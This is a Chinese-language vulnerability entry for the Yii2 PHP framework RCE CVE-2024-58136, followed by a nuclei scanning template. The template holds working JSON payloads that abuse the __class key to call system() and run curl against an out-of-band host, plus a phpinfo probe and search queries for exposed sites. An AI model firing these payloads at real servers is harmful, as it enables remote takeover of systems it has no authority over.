漏洞信息
漏洞名称: Yii2 PHP Framework Remote Code Execution Vulnerability
漏洞编号:
漏洞类型: 命令执行
漏洞等级: 严重
漏洞描述: Yii2是一个流行的PHP框架,广泛用于快速开发现代Web应用程序。它提供了丰富的功能,如MVC架构、数据库抽象层、表单验证等,被许多开发者和企业用于构建高性能的网站和服务。该框架的典型部署场景包括企业级服务和常见的Web应用组件,因其易用性和强大的功能而受到广泛欢迎。此次发现的漏洞涉及Yii2框架在2.0.52版本之前的一个远程代码执行(RCE)漏洞,具体原因是框架在处理JSON行为时对__class键的验证不当。攻击者可以通过构造恶意的JSON数据,利用这一漏洞实例化任意的PHP类,从而实现远程代码执行。这种漏洞的技术根源在于输入验证不严格,允许攻击者注入恶意代码。由于该漏洞允许未经认证的攻击者远程执行任意代码,其潜在的安全风险极高,可能导致服务器被完全控制、数据泄露或服务中断。攻击者可以利用此漏洞自动化攻击,无需用户交互,因此威胁等级被评定为严重。
产品厂商: yiisoft
产品名称: Yii2 PHP Framework
影响版本: version < 2.0.52
搜索语法: title=”Yii”
来源: https://github.com/projectdiscovery/nuclei-templates/blob/34ea099b62cc98b473d146d18b5a8a55bcb09b3f/http%2Fcves%2F2024%2FCVE-2024-58136.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| id: CVE-2024-58136
info: name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution author: ritikchaddha severity: critical description: | Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE. reference: - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb - https://nvd.nist.gov/vuln/detail/CVE-2024-58136 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-58136 cwe-id: CWE-94 cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: yiisoft product: yii fofa-query: title="Yii" shodan-query: title:"Yii" tags: cve,cve2024,yii2,rce,php,framework
flow: http(1) && http(2)
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}}
redirects: true matchers: - type: word words: - "Yii" internal: true
- raw: - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}
- | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}
matchers-condition: or matchers: - type: word part: interactsh_protocol words: - "http"
- type: word words: - "PHP Version" - "PHP Extension" condition: and
|